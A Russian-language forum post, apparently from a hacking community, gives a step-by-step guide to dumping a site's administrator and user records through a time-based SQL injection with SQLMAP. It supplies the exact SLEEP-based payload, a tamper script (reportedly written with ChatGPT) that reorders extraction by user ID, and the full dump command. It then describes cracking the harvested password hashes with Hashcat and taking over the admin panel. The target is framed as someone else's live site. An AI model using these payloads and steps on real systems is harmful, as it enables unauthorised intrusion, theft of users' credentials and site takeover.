Заметка Используем технику Time-Based в SQLMAP для получения данных администратора

Темы, которые НЕ подходят по объему под префикс "Статья"
Здравствуйте, уважаемые читатели. В этой короткой заметке для новичков мы рассмотрим работу с инструментом SQLMAP. Рассмотрим гипотетическую ситуацию, когда вы обнаружили SQL Injection (SQLI), доступную только через time-based технику, и вашей задачей является получение полного дампа пользователей, хранящихся у админа.

У вас есть доступ к таблице 'admins' с ID админа и таблице 'user' с 190 тысячами пользователей. Если вы попытаетесь извлечь эти данные с помощью time-based техники, это займет более месяца, и, вероятно, за это время админ устранит уязвимость. Как же быть?

sqli.png

Ваш первый шаг должен быть следующим: включите режим -v6 в SQLMAP, чтобы видеть, какой payload генерируется. Например, мой payload выглядит так:
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
Здесь генерируются разные числа (в этом случае 8186), и сортировка производится по email. Из-за этого в первую очередь будут извлекаться емейлы с цифрами, затем по алфавиту, а идентификаторы пользователей (userid) не будут в диапазоне от 1 до 190 тыс., поскольку сравнение проводится на основе email. Конечно, можно вручную изменить ORDER BY email на ORDER BY userid, но не забывайте, что у нас time based, и администраторов может быть несколько. Мы же хотим, чтобы всё было автоматизировано
1684182492550.png


Допустим, у нас есть администраторы с userid: 1-9, 13, 7804 и 23006. Мы хотим, чтобы все запросы сортировались по userid, а не по электронной почте, как это происходит сейчас. Для этого нам нужно создать tamper, который будет заменять фразу "ORDER BY email" на "ORDER BY userid" в SQL запросах.

Исходный SQL запрос:
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
Итоговый SQL запрос:
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY userid LIMIT 1,1),21,1))>45,0,2)))))XmMr)

Конечно те, кто знает Python, легко справится с этой задачей, но мы обратимся за помощью к ChatGPT:

1684182703810.png


Python:
Хорошо, вот пример tamper-скрипта на Python, который заменяет ORDER BY email на ORDER BY id в запросе:

def tamper(payload, **kwargs):
    # Ищем позицию, где находится фраза "ORDER BY" в запросе
    order_by_pos = payload.upper().find("ORDER BY")
    if order_by_pos != -1:
        # Получаем подстроку запроса, начиная с фразы "ORDER BY"
        order_by_substr = payload[order_by_pos:]
        # Если в этой подстроке есть слово "email", заменяем его на "userid"
        if "email" in order_by_substr.lower():
            order_by_substr = order_by_substr.replace("email", "userid")
            # Обновляем запрос с замененным выражением "ORDER BY"
            payload = payload[:order_by_pos] + order_by_substr
   
    # Возвращаем измененный запрос
    return payload

Если сразу использовать этот код, то мы получим ошибку:
Python:
cannot import tamper module 'test' (SyntaxError: Non-ASCII character '\xc8' in file C: but no encoding declared; see PEP 263 – Defining Python Source Code Encodings | peps.python.org for details)

1684182842081.png


Python:
# -*- coding: utf-8 -*-
def tamper(payload, **kwargs):
    # Ищем позицию, где находится фраза "ORDER BY" в запросе
    order_by_pos = payload.upper().find("ORDER BY")
    if order_by_pos != -1:
        # Получаем подстроку запроса, начиная с фразы "ORDER BY"
        order_by_substr = payload[order_by_pos:]
        # Если в этой подстроке есть слово "email", заменяем его на "userid"
        if "email" in order_by_substr.lower():
            order_by_substr = order_by_substr.replace("email", "userid")
            # Обновляем запрос с замененным выражением "ORDER BY"
            payload = payload[:order_by_pos] + order_by_substr
   
    # Возвращаем измененный запрос
    return payload

Как использовать скрипт:
  1. Сохранить скрипт как any_name.py
  2. Запустить SQLMAP с параметром --tamper any_name.py для того, чтобы использовать скрипт во время тестирования
  3. Если в запросе будет встречаться ORDER BY email, то скрипт автоматически заменит его на ORDER BY userid.
Tamper`ы сохранены в папке sqlmap\tamper. Теперь наша конечная команда для SQLMAP будет выглядеть вот так:
Bash:
--batch -D database_name -T user -C userid,email --dump --technique=T --tamper=any_name.py --start=1 --stop=13

1684183253181.png


Мы успешно получили доступ к информации о некоторых администраторах, в частности, с ID 9 и 13. Это открывает для нас возможность извлечения паролей, их дальнейшей расшифровки через Hashcat и, в случае успеха, попытки входа в админ панель. При успешном входе мы получаем полный контроль над сайтом, который позволяет нам совершать любые действия, например, выдать модераторские права обычному пользователю. Основное преимущество этого подхода заключается в экономии ресурсов и более интеллектуальной стратегии. Вместо того, чтобы бессистемно забрасывать сайт запросами из 10 разных окон, мы идем более умным путем, минимизируя нагрузку на сайт и наш ПК.


Более того, если мы собираем email, password и salt, то можно написать tamper, который будет сортировать результаты по salt. Это позволит нам дампить базу данных случайным образом, поскольку salt обычно генерируется случайным образом. Таким образом, не нужно будет ждать, пока сольются тысячи тестовых строк с авторегами.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!